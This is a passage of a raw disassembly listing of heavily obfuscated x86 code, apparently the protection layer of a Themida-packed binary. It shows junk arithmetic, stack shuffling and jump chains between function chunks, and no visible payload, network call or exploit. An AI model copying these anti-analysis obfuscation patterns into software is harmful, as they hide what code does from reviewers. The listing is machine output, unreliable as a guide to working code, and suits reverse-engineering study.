; sub_59196D+15E6j add esp, 4 jmp loc_58CFB1 ; --------------------------------------------------------------------------- loc_5901AD: ; CODE XREF: sub_59196D+5E13j and esi, 5CAB4A71h ja loc_5933B1 jmp loc_58CD8B ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- pop edi jmp loc_592911 ; --------------------------------------------------------------------------- mov dh, ah pop edx ; START OF FUNCTION CHUNK FOR sub_59196D loc_5901C7: ; CODE XREF: sub_59196D+18Aj xchg edx, [esp+18h+var_1A+2] pop esp add edi, 4 xchg edi, [esp+14h+var_16+2] mov esp, [esp+14h+var_16+2] shr ecx, 0 or eax, eax jz loc_5930D5 push edx sub esp, 4 mov [esp+1Ch+var_1E+2], ebx add [esp+1Ch+var_1E+2], 2D657D8Ah jmp loc_593CAC ; --------------------------------------------------------------------------- loc_5901F8: ; CODE XREF: sub_59196D-5FAFj ; sub_59196D+136Dj mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+1Ch+var_1E+2] jmp loc_5945BF ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C816 loc_59020E: ; CODE XREF: sub_58C816+Ej dec edi add edi, 5A7828D5h neg edi push edx push ebx jmp loc_5979D2 ; END OF FUNCTION CHUNK FOR sub_58C816 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_59021E: ; CODE XREF: sub_59196D-4DF2j mov cl, byte ptr [esp+1Ch+var_1E+2] add esp, 4 shr cl, 8 dec cl shl cl, 4 xor cl, 0F8h sub al, cl pop ecx sub esp, 4 mov [esp+18h+var_1A+2], edx push ecx mov cl, 24h mov dl, 4Ch sub dl, 0BCh jmp loc_58DA28 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C19E loc_590245: ; CODE XREF: sub_58C19E+12j add esp, 4 or [edi+1Ch], ebp mov ebp, [esp-4+arg_0] jmp loc_5921FC ; END OF FUNCTION CHUNK FOR sub_58C19E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_590253: ; CODE XREF: sub_59196D-1B68j shl esi, 4 jmp loc_58E9B7 ; --------------------------------------------------------------------------- loc_59025B: ; CODE XREF: sub_59196D-1840j ; sub_59196D+CACj mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp+34h+var_36+2] pop esp mov [esp+30h+var_32+2], ecx push esp pop ecx push edi mov edi, 30921108h push ebp push ebx mov ebx, 12390ACBh sub ebx, 19CD6365h xor ebx, 3AEF32D6h sub ebx, 8FC25D03h jmp loc_58D98D ; --------------------------------------------------------------------------- loc_590293: ; CODE XREF: sub_59196D-41E6j pop esp push dword ptr [eax] jmp loc_58B37B ; --------------------------------------------------------------------------- loc_59029B: ; CODE XREF: sub_59196D-4A0Bj pop edi push 7C1Bh jmp loc_58EB8E ; --------------------------------------------------------------------------- loc_5902A6: ; CODE XREF: sub_59196D-2AEDj ; sub_59196D+20ECj mov ebp, 4 jmp loc_5950F5 ; --------------------------------------------------------------------------- loc_5902B0: ; CODE XREF: sub_59196D-61B6j push [esp+1Ch+var_1A+2] mov ebx, [esp+20h+var_22+2] add esp, 4 pop [esp+1Ch+var_1E+2] pop esp mov [esp+14h+var_16+2], eax mov eax, esp push ecx mov ecx, 4 add eax, ecx jmp loc_591412 ; END OF FUNCTION CHUNK FOR sub_59196D ; =============== S U B R O U T I N E ======================================= sub_5902D0 proc near ; DATA XREF: Themida_:0058B1E4o var_4 = dword ptr -4 lodsd push 380Fh mov [esp+4+var_4], eax mov eax, esp add eax, 4 jmp loc_596693 sub_5902D0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_5902E5: ; CODE XREF: sub_59196D+2D08j neg al jmp loc_58B88F ; --------------------------------------------------------------------------- loc_5902EC: ; CODE XREF: sub_59196D+3702j mov [esp+18h+var_1A+2], esi add [esp+18h+var_1A+2], 0C095090h pop edi sub edi, 0C095090h pop esi push esi mov esi, 20532E8Eh shr esi, 3 sub esi, 25004337h sub esi, 793BB041h sub edi, esi pop esi and ecx, edi pop edi shr ecx, 6 jmp loc_58CEB2 ; --------------------------------------------------------------------------- loc_590321: ; CODE XREF: sub_59196D:loc_594845j xor ebx, 5C567F63h add eax, 4F8B3455h sub eax, ebx jmp loc_594298 ; --------------------------------------------------------------------------- loc_590333: ; CODE XREF: sub_59196D-3D16j add esi, edx pop edx push ecx mov ecx, 62E37FF4h shl ecx, 3 dec ecx add ecx, 0FFFFFFFFh xor ecx, 171BFF9Ch add esi, ecx push [esp+1Ch+var_1E+2] pop ecx add esp, 4 xchg esi, [esp+18h+var_1A+2] pop esp imul cx, ax jmp loc_596D5A ; --------------------------------------------------------------------------- loc_590362: ; CODE XREF: sub_59196D-2C1Aj sub ebx, 277D0950h add ebx, 57474D0Fh shr ebx, 2 jnp loc_58FF07 add ebx, 0E0259CEBh mov edx, ebx jmp loc_58E439 ; --------------------------------------------------------------------------- loc_590384: ; CODE XREF: sub_59196D+4D07j sub bh, 5Eh xor cl, bh pop ebx push edx mov dl, 0F9h add cl, 5Ch jmp loc_58D361 ; --------------------------------------------------------------------------- loc_590395: ; CODE XREF: sub_59196D-2812j add eax, 79845782h pop esi mov edi, [esp+10h+var_12+2] jmp loc_5976B5 ; --------------------------------------------------------------------------- loc_5903A3: ; CODE XREF: sub_59196D+562Aj mov word ptr [esp+10h+var_12+2], cx jmp loc_58E83C ; --------------------------------------------------------------------------- loc_5903AC: ; CODE XREF: sub_59196D+1A06j mov [esp+10h+var_12+2], edx push ecx jmp loc_592F15 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- mov cx, [esp] push ecx jmp loc_595B64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_5903BF: ; CODE XREF: sub_59196D+58A8j sub dl, 0ECh jmp loc_597065 ; --------------------------------------------------------------------------- loc_5903C7: ; CODE XREF: sub_59196D+423Ej jno loc_58FF02 jmp loc_59759C ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- add ebx, 0E0259CEBh mov edx, ebx ; START OF FUNCTION CHUNK FOR sub_59196D loc_5903DA: ; CODE XREF: sub_59196D+5FFFj add edi, edx pop edx jmp loc_58F876 ; --------------------------------------------------------------------------- loc_5903E2: ; CODE XREF: sub_59196D+5380j movzx eax, al jmp loc_58FE56 ; --------------------------------------------------------------------------- loc_5903EA: ; CODE XREF: sub_59196D+6B05j push eax mov eax, 46483761h not eax add eax, 0FFFFFFFFh or eax, 76E93B6Fh inc eax xor eax, 2BEE5336h sub eax, 6F8D93ADh add ebx, eax pop eax jmp loc_58BBAC ; --------------------------------------------------------------------------- loc_59040F: ; CODE XREF: sub_59196D+184Dj inc edi jmp loc_59239D ; --------------------------------------------------------------------------- loc_590415: ; CODE XREF: sub_59196D-5611j pop edx mov si, bx mov ebx, [esp+18h+var_1A+2] jmp loc_58E868 ; --------------------------------------------------------------------------- loc_590421: ; CODE XREF: sub_59196D-64E2j pop ecx jmp loc_590AE3 ; --------------------------------------------------------------------------- loc_590427: ; CODE XREF: sub_59196D+6805j sub edx, 3FFD555Bh jmp loc_5972A1 ; --------------------------------------------------------------------------- loc_590432: ; CODE XREF: sub_59196D+2D5Bj pop ecx jmp loc_58F436 ; END OF FUNCTION CHUNK FOR sub_59196D ; =============== S U B R O U T I N E ======================================= sub_590438 proc near ; CODE XREF: sub_59196D-4E2Fj var_4 = dword ptr -4 sub esp, 4 mov [esp+4+var_4], esp add [esp+4+var_4], 4 mov ebx, [esp+4+var_4] jmp sub_590CDB sub_590438 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_59044D: ; CODE XREF: sub_59196D-3B98j xor edi, 0A7B55F74h jmp loc_595C05 ; --------------------------------------------------------------------------- loc_590458: ; CODE XREF: sub_59196D-4DACj push ecx jmp loc_58CBE0 ; --------------------------------------------------------------------------- loc_59045E: ; CODE XREF: sub_59196D+3753j pop eax push ebp xor [esp+30h+var_32+2], 44317DB5h pop ebx xor ebx, 44317DB5h jmp loc_58D957 ; --------------------------------------------------------------------------- loc_590473: ; CODE XREF: sub_59196D+495Dj mov esi, ebp mov ebx, esi jmp loc_59512D ; --------------------------------------------------------------------------- loc_59047C: ; CODE XREF: sub_59196D-3A4Fj push 7450h mov [esp+3Ch+var_3C], eax xchg edx, [esp+3Ch+var_3C] jmp loc_590AAE ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58B60E loc_59048C: ; CODE XREF: sub_58B60E+4F92j pop esi push ecx jmp loc_590786 ; END OF FUNCTION CHUNK FOR sub_58B60E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_590493: ; CODE XREF: sub_59196D-25FBj pop ebp jmp loc_58E186 ; --------------------------------------------------------------------------- loc_590499: ; CODE XREF: sub_59196D+4D92j xchg edx, edi xchg edi, [esp+40h+var_40] mov eax, [esp+40h+var_40] add esp, 4 push 24A6h mov [esp+40h+var_40], edi sub esp, 4 mov [esp+44h+var_44], ecx push ebp push edi mov edi, 0D680CC6h push edi xor dword ptr [esp+0], 5FFE462Ah pop ebp xor ebp, 5FFE462Ah pop edi mov ecx, 0F297F33Bh add ecx, ebp jmp loc_58E6D1 ; --------------------------------------------------------------------------- loc_5904D8: ; CODE XREF: sub_59196D+36CBj sub edx, 4 xchg edx, [esp+48h+var_4A+2] pop esp mov [esp+44h+var_44], eax push esp pop eax sub esp, 4 mov [esp+48h+var_4A+2], edi jmp loc_591B27 ; --------------------------------------------------------------------------- loc_5904F5: ; CODE XREF: sub_59196D-54Dj add eax, 76DF5E22h pop edi xor eax, [esp+44h+var_44] xor [esp+44h+var_44], eax jmp loc_5943B9 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58E0B1 loc_590506: ; CODE XREF: sub_58E0B1+321j pop ebp push eax mov eax, esp jmp sub_58C68D ; END OF FUNCTION CHUNK FOR sub_58E0B1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_59050F: ; CODE XREF: sub_59196D-E62j sub eax, 1655AE1h sub eax, 0EA55CAB3h sub edx, 42B42D98h sub edx, eax add edx, 42B42D98h pop eax sub edx, 61980A04h jmp loc_58C301 ; --------------------------------------------------------------------------- loc_590533: ; CODE XREF: sub_59196D-49Cj push esi push ecx mov ecx, 8201EAAh push edi jmp loc_597D41 ; --------------------------------------------------------------------------- loc_590540: ; CODE XREF: sub_59196D+6504j push edx mov dh, 1Dh sub al, dh jmp loc_597168 ; --------------------------------------------------------------------------- loc_59054A: ; CODE XREF: sub_59196D-5DC6j inc edi jmp loc_595713 ; --------------------------------------------------------------------------- loc_590550: ; CODE XREF: sub_59196D:loc_58BE08j sub esi, 2C521FCAh jmp loc_58F011 ; --------------------------------------------------------------------------- loc_59055B: ; CODE XREF: sub_59196D+6741j pop ebx sub ebp, 4 jmp loc_5973DA ; --------------------------------------------------------------------------- loc_590564: ; CODE XREF: sub_59196D+2AC6j xor ebp, [esp+2Ah+var_2A] mov esp, [esp+2Ah+var_2A] mov [esp+2Ah+var_2A], ebx jmp loc_597D39 ; --------------------------------------------------------------------------- loc_590572: ; CODE XREF: sub_59196D-48j pop esp mov [esp+26h+var_26], ebx mov bh, 74h inc bh push edx jmp loc_59666D ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58B60E loc_590580: ; CODE XREF: sub_58B60E+3j mov [esp+4+var_4], eax mov eax, 7FFC78EEh neg eax or eax, 3A1832B8h shr eax, 2 push ebp mov ebp, 0D1791216h add eax, ebp pop ebp mov esi, eax pop eax sub ecx, esi jmp loc_59048C ; END OF FUNCTION CHUNK FOR sub_58B60E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_5905A5: ; CODE XREF: sub_59196D+2FF0j jmp loc_58B37B ; --------------------------------------------------------------------------- loc_5905AA: ; CODE XREF: sub_59196D+131j pop [esp+2Ah+var_2A] mov esp, [esp+26h+var_26] jmp near ptr dword_58C1C8+34h ; --------------------------------------------------------------------------- loc_5905B5: ; CODE XREF: sub_59196D-8A4j mov [esp+26h+var_26], ebx push edx mov edx, 0A035C5Bh mov ebx, edx mov edx, [esp+2Ah+var_2A] add esp, 4 jmp loc_58B670 ; --------------------------------------------------------------------------- loc_5905CB: ; CODE XREF: sub_59196D-2EC4j mov esi, 2 add edx, 8535A00h sub edx, 52596B1Eh sub edx, 61863996h jmp loc_5983D0 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- loc_5905E7: ; CODE XREF: Themida_:0058D6B1j sub eax, 38AD0B28h sub eax, ebx add eax, 38AD0B28h push ebp push edi push ebp mov ebp, 7B6D07A3h mov edi, 0F4164B30h add edi, ebp pop ebp push edi mov ebp, [esp] jmp loc_58CDCE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_59060C: ; CODE XREF: sub_59196D+82Aj mov ecx, esp add ecx, 4 jmp loc_5909D0 ; --------------------------------------------------------------------------- loc_590619: ; CODE XREF: sub_59196D-1E00j ; sub_59196D+3C74j push dword ptr [edi+1Ch] push [esp+4+var_4] push [esp+8+var_8] mov ecx, [esp+0Ch+var_C] jmp loc_58B5DC ; --------------------------------------------------------------------------- loc_59062A: ; CODE XREF: sub_59196D+4FF0j sub edi, 30F0A6Dh jmp loc_5924FC ; --------------------------------------------------------------------------- loc_590635: ; CODE XREF: sub_59196D-5CD1j xor edx, ecx jmp loc_5921C3 ; --------------------------------------------------------------------------- loc_59063C: ; CODE XREF: sub_59196D-3A94j push eax push esp pop eax push 38D4h mov [esp+0], ecx mov ecx, 286D7CF6h jmp loc_59395C ; --------------------------------------------------------------------------- loc_590651: ; CODE XREF: sub_59196D+635Dj mov esi, 4 jmp loc_5957D7 ; --------------------------------------------------------------------------- loc_59065B: ; CODE XREF: sub_59196D-594Cj ; sub_59196D:loc_58C0F3j push dword ptr [esp+0] pop edx add esp, 4 xor bl, al sub esp, 4 mov [esp+0], ecx mov ecx, 28h jmp sub_59128B ; END OF FUNCTION CHUNK FOR sub_59196D ; =============== S U B R O U T I N E ======================================= sub_590677 proc near ; CODE XREF: sub_59196D-2878j var_4 = dword ptr -4 sub esp, 4 mov [esp+4+var_4], edx mov edx, 0 add edx, ecx push ebx mov ebx, 0 add ebx, edx add dword ptr [ebx], 1 jmp loc_594C7B sub_590677 endp ; =============== S U B R O U T I N E ======================================= sub_59069A proc near ; CODE XREF: sub_59196D+6931j ; FUNCTION CHUNK AT 0058C5EB SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0058EBB2 SIZE 0000000A BYTES push ebx jmp loc_58EBB2 sub_59069A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_5906A0: ; CODE XREF: sub_59196D+677Ej mov ebx, esi mov edi, ebx pop ebx jmp loc_58B68D ; --------------------------------------------------------------------------- loc_5906AA: ; CODE XREF: sub_59196D+3578j xchg esi, ecx jmp loc_596CF2 ; --------------------------------------------------------------------------- loc_5906B1: ; CODE XREF: sub_59196D-2488j ; sub_59196D+1357j push dword ptr [esp+4] pop esi pop [esp+12h+var_12] pop esp add eax, 4 push eax push [esp+0Eh+var_C+2] pop eax jmp loc_58BCF4 ; --------------------------------------------------------------------------- loc_5906C8: ; CODE XREF: sub_59196D-3DCCj add [esp+4], edi sub dword ptr [esp+4], 584349E2h pop edi jmp loc_592136 ; --------------------------------------------------------------------------- loc_5906DA: ; CODE XREF: sub_59196D-1DBj shl ecx, 6 inc ecx sub ecx, 0C854FA8Dh xor ebx, ecx jmp loc_596ACC ; END OF FUNCTION CHUNK FOR sub_59196D ; =============== S U B R O U T I N E ======================================= sub_5906EB proc near ; CODE XREF: sub_59196D+37D9j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0058CFD7 SIZE 00000014 BYTES push ebx mov ebx, 4 add ecx, ebx pop ebx push ecx jmp loc_58CFD7 sub_5906EB endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_5906FA: ; CODE XREF: sub_59196D+1D8Dj mov esp, [esp+0] push ebx push esi mov esi, 3242F93h push 2BA7C4D1h pop ebx push edi mov edi, 5C6367EFh neg edi jmp loc_58F404 ; END OF FUNCTION CHUNK FOR sub_59196D ; =============== S U B R O U T I N E ======================================= sub_590717 proc near ; CODE XREF: sub_59196D+6BD9j push ebp push eax jmp loc_595EC5 sub_590717 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_59071E: ; CODE XREF: sub_59196D+834j pop ecx sub eax, 31091AE4h add eax, esi jmp loc_592812 ; --------------------------------------------------------------------------- loc_59072B: ; CODE XREF: sub_59196D+3689j pop dword ptr [edi+20h] jmp loc_593256 ; --------------------------------------------------------------------------- loc_590733: ; CODE XREF: sub_59196D+387Bj neg dl neg dl push ebx mov bl, 7 inc bl shr bl, 1 sub bl, 1Bh shr bl, 3 and bl, 5Bh add bl, 9Eh add dl, bl pop ebx add al, dl jmp loc_58F7E0 ; --------------------------------------------------------------------------- loc_590754: ; CODE XREF: sub_59196D-462Bj mov ecx, 4 jmp loc_5946A8 ; --------------------------------------------------------------------------- loc_59075E: ; CODE XREF: sub_59196D-118Dj mov [esp+4Ah+var_4A], ebp sub esp, 4 jmp loc_594B09 ; --------------------------------------------------------------------------- loc_59076C: ; CODE XREF: sub_59196D-2C2Ej add eax, ebx pop ebx add eax, 4 xchg eax, [esp+14h+var_16+2] pop esp push esi mov esi, esp add esi, 4 jmp loc_594F8E ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58B60E loc_590786: ; CODE XREF: sub_58B60E+4E80j push [esp+arg_0] mov ecx, [esp+4+var_4] jmp loc_5937AD ; END OF FUNCTION CHUNK FOR sub_58B60E ; =============== S U B R O U T I N E ======================================= sub_590792 proc near ; DATA XREF: Themida_:0058B1E8o var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0058B444 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0058B695 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0058BF3E SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0058C3C8 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0058C6A9 SIZE 00000028 BYTES lodsb add al, 9Eh sub al, 12h add al, bl add al, 12h push ebx push ecx push ebx mov bl, 95h push edx jmp loc_58BF3E sub_590792 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_5907A6: ; CODE XREF: sub_59196D+1A8Fj add edi, 4 sub edi, 4 xchg edi, [esp+14h+var_16+2] pop esp mov [esp+10h+var_12+2], edx push ebx mov ebx, 704F179Fh push ebx mov ebx, 39661A53h jmp loc_5948A0 ; --------------------------------------------------------------------------- loc_5907C7: ; CODE XREF: sub_59196D-670j add edi, eax sub edi, 77FB6DDFh mov eax, [esp+18h+var_1A+2] add esp, 4 and eax, edi mov edi, [esp+14h+var_16+2] sub esp, 4 jmp loc_59075E ; --------------------------------------------------------------------------- loc_5907E5: ; CODE XREF: sub_59196D-5483j add esp, 4 jmp loc_58B37B ; --------------------------------------------------------------------------- loc_5907ED: ; CODE XREF: sub_59196D+3418j push edx push esi mov esi, 14CE3803h shl esi, 2 and esi, 593500AAh and esi, 619F0758h push ebx jmp loc_58CCEA ; --------------------------------------------------------------------------- loc_590809: ; CODE XREF: sub_59196D-3F90j push edx mov edx, 77106B4Ch jmp loc_591C06 ; --------------------------------------------------------------------------- loc_590814: ; CODE XREF: sub_59196D-563Bj mov edi, ebx pop ebx sub ebp, 74C248A8h add ebp, edi add ebp, 74C248A8h pop edi push eax push ebx mov ebx, 56EB55C0h push esi jmp loc_590F23 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- loc_590833: ; CODE XREF: Themida_:0058D817j add esp, 4 jmp loc_590994 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_59083B: ; CODE XREF: sub_59196D+4FB8j add eax, 7BD620AFh push edi mov edi, 24657CE9h sub edi, 1 add edi, 2A5E272Fh push 2F85h jmp loc_59363B ; --------------------------------------------------------------------------- loc_59085C: ; CODE XREF: sub_59196D+65D6j push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+28h+var_2A+2] pop esp sub esp, 4 mov [esp+28h+var_2A+2], edi push eax mov eax, 68B848B4h mov edi, 9747B84Ch jmp loc_5912F7 ; --------------------------------------------------------------------------- loc_590885: ; CODE XREF: sub_59196D+FFCj mov edi, [esp+2Ch+var_2E+2] add esp, 4 pop ecx add eax, esi pop esi push ebp push edi jmp loc_59181F ; --------------------------------------------------------------------------- loc_590899: ; CODE XREF: sub_59196D-5BC9j mov edi, 2DDC7C2Bh shl edi, 8 shr edi, 6 xor edi, 6C688D72h sub ecx, edi jmp loc_595D44 ; --------------------------------------------------------------------------- loc_5908B1: ; CODE XREF: sub_59196D+1CC9j mov dl, 90h jmp loc_597211 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58B85F loc_5908B8: ; CODE XREF: sub_58B85F+6j mov [esp+4+var_4], esi mov esi, 194C3F9Ah add esi, 540E6678h push ecx mov ecx, 12569C5h inc ecx neg ecx sub ecx, 917FF024h xor esi, ecx pop ecx jmp loc_5931DE ; END OF FUNCTION CHUNK FOR sub_58B85F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_5908DD: ; CODE XREF: sub_59196D-583Aj dec al jmp loc_592363 ; --------------------------------------------------------------------------- loc_5908E4: ; CODE XREF: sub_59196D-2BB0j add edx, 2 xor edx, [esp+24h+var_26+2] xor [esp+24h+var_26+2], edx xor edx, [esp+24h+var_26+2] mov esp, [esp+24h+var_26+2] sar word ptr [esp+24h+var_26+2], cl pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_5908FD: ; CODE XREF: sub_59196D+293Dj mov esi, 291A24ECh jmp loc_58DB6C ; --------------------------------------------------------------------------- loc_590907: ; CODE XREF: sub_59196D+4B7Bj xor [esp+28h+var_2A+2], 612D18C2h pop esi xor esi, 612D18C2h jmp loc_58E825 ; --------------------------------------------------------------------------- loc_59091A: ; CODE XREF: sub_59196D-1ED5j mov ebp, 10CB7752h sub edx, 4A41659h add edx, 0A842F74h sub edx, ebp jmp loc_58EEDA ; END OF FUNCTION CHUNK FOR sub_59196D ; =============== S U B R O U T I N E ======================================= sub_590932 proc near ; CODE XREF: sub_59196D-891j var_4 = dword ptr -4 push ebx push esp pop ebx add ebx, 4 add ebx, 4 xchg ebx, [esp+4+var_4] pop esp jmp loc_58B37B sub_590932 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_59094A: ; CODE XREF: sub_59196D+4A85j jmp loc_58F812 ; --------------------------------------------------------------------------- loc_59094F: ; CODE XREF: sub_59196D+4610j sub edx, 41AE7914h sub edx, 0FAC135Eh push esi mov esi, 679806B0h dec esi shr esi, 8 and esi, 2D766747h not esi sub esi, 0C542F762h sub edx, esi pop esi jmp loc_58B37B ; --------------------------------------------------------------------------- loc_59097B: ; CODE XREF: sub_59196D-2465j ; sub_59196D+6B5Aj or eax, 5A07146Eh jmp loc_592724 ; --------------------------------------------------------------------------- loc_590985: ; CODE XREF: sub_59196D-198Aj mov [esp+0Ah+var_C+2], ebp mov ebp, 18FD62F6h neg ebp jmp loc_5973E2 ; --------------------------------------------------------------------------- loc_590994: ; CODE XREF: Themida_:00590836j ; sub_59196D+60Fj add eax, 5B413D92h sub eax, ebx sub eax, 5B413D92h push edi push 21BDh mov [esp+12h+var_12], ebp push 4B9A6AB4h pop ebp push ebp xor [esp+16h+var_16], 57B36C44h pop edi jmp loc_5943F3 ; END OF FUNCTION CHUNK FOR sub_59196D ; =============== S U B R O U T I N E ======================================= sub_5909BD proc near ; CODE XREF: sub_59196D-4DB4j ; FUNCTION CHUNK AT 0058E4D1 SIZE 00000017 BYTES push ebp jmp loc_58E4D1 sub_5909BD endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_5909C3: ; CODE XREF: sub_59196D+755j xor dx, 3BCCh mov di, dx jmp loc_5932E0 ; --------------------------------------------------------------------------- loc_5909D0: ; CODE XREF: sub_59196D-1359j sub ecx, 4 xchg ecx, [esp+0Ch+var_C] jmp loc_590168 ; --------------------------------------------------------------------------- loc_5909DE: ; CODE XREF: sub_59196D+1DC9j jl loc_58DDF9 push ecx xor [esp+10h+var_12+2], eax xor eax, [esp+10h+var_12+2] xor [esp+10h+var_12+2], eax not eax xchg eax, [esp+10h+var_12+2] mov ecx, [esp+10h+var_12+2] add esp, 4 sub ecx, 655D23F4h jp loc_59278E xor ecx, 1EFF2096h push edx jmp loc_593127 ; --------------------------------------------------------------------------- loc_590A14: ; CODE XREF: sub_59196D+2CA4j jmp loc_58B37B ; --------------------------------------------------------------------------- loc_590A19: ; CODE XREF: sub_59196D+24F9j pop ebx jmp loc_590AD3 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- loc_590A1F: ; DATA XREF: Themida_:0058B0B4o push edx jmp loc_595471 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_590A25: ; CODE XREF: sub_59196D-4392j mov edx, 2 add ebx, edx pop edx push ebx push dword ptr [esp+4] pop ebx pop [esp+12h+var_12] pop esp jmp loc_590081 ; --------------------------------------------------------------------------- loc_590A3C: ; CODE XREF: sub_59196D+33ECj pop edi sub eax, 5CCA7E56h jmp loc_5960E7 ; --------------------------------------------------------------------------- loc_590A47: ; CODE XREF: sub_59196D+386Cj sub esi, 36C90AF4h mov ebp, [esp+6+var_8+2] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+0Ah+var_C+2] pop esp add esi, 4 xchg esi, [esp+6+var_8+2] mov esp, [esp+6+var_8+2] push 1 push [esp+0Ah+var_C+2] push dword ptr [esp+0] mov eax, [esp+12h+var_12] add esp, 4 jmp loc_58B515 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr word ptr [esp], cl pushf jmp loc_58B37B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_590A95: ; CODE XREF: sub_59196D+1E23j xchg ecx, [esp+0] mov esp, [esp+0] mov [esp+0], ebp push 41BA65ECh pop ebp jmp loc_592411 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- loc_590AA9: ; CODE XREF: Themida_:0058EE79j jmp loc_58B37B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_590AAE: ; CODE XREF: sub_59196D-14E6j push edx push ebp pop edx push [esp+40h+var_40] pop ebp add esp, 4 jmp loc_58F01B ; --------------------------------------------------------------------------- loc_590ABD: ; CODE XREF: sub_59196D-D98j jmp loc_58B37B ; --------------------------------------------------------------------------- loc_590AC2: ; CODE XREF: sub_59196D+EA0j add esi, 4 add esi, 4 xchg esi, [esp+3Ch+var_3C] jmp loc_5913B0 ; --------------------------------------------------------------------------- loc_590AD3: ; CODE XREF: sub_59196D-F53j push 40F7h jmp loc_593003 ; --------------------------------------------------------------------------- loc_590ADD: ; CODE XREF: sub_59196D-E88j pop edx jmp loc_58BE4C ; --------------------------------------------------------------------------- loc_590AE3: ; CODE XREF: sub_59196D-154Bj xor eax, edx jmp loc_590ADD ; --------------------------------------------------------------------------- loc_590AEA: ; CODE XREF: sub_59196D+180Ej sub al, 40h mov cx, [esp+0] add esp, 2 xor bl, al jmp loc_596519 ; --------------------------------------------------------------------------- loc_590AFA: ; CODE XREF: sub_59196D-1EF3j jmp loc_592347 ; --------------------------------------------------------------------------- loc_590AFF: ; CODE XREF: sub_59196D+3E46j xchg ebx, [esp+1Ch+var_1E+2] pop esp shr eax, 1 shl eax, 2 shl eax, 6 jmp loc_59050F ; --------------------------------------------------------------------------- loc_590B10: ; CODE XREF: sub_59196D+1CF9j shl eax, 2 or eax, 61E14AEBh add eax, 961E8115h add ebp, eax pop eax jmp loc_592407 ; --------------------------------------------------------------------------- loc_590B25: ; CODE XREF: sub_59196D+24A7j sub eax, 14B1763h pop ebp push edi mov edi, 2 sub eax, 31F529DCh push ecx mov ecx, 6DE31FD5h shr ecx, 3 xor ecx, 58B3A6Ah shr ecx, 1 sub ecx, 0AAD1827h and ecx, 270A0229h add ecx, 5DA70C8Fh jmp loc_58FE4C ; --------------------------------------------------------------------------- loc_590B5E: ; CODE XREF: sub_59196D-6551j jo loc_5927E3 or eax, 9687297h jg loc_593E4A inc eax jge loc_5915E2 jmp loc_58DDE5 ; --------------------------------------------------------------------------- loc_590B7B: ; CODE XREF: sub_59196D+51DCj add esi, 305D676Ch add esi, 0E0C9FDD5h add eax, esi jmp loc_5953A8 ; END OF FUNCTION CHUNK FOR sub_59196D ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_590B8E proc near ; DATA XREF: Themida_:0058B1A4o mov cx, [esp+0] push ebp mov ebp, esp jmp loc_5960F1 sub_590B8E endp ; --------------------------------------------------------------------------- ; 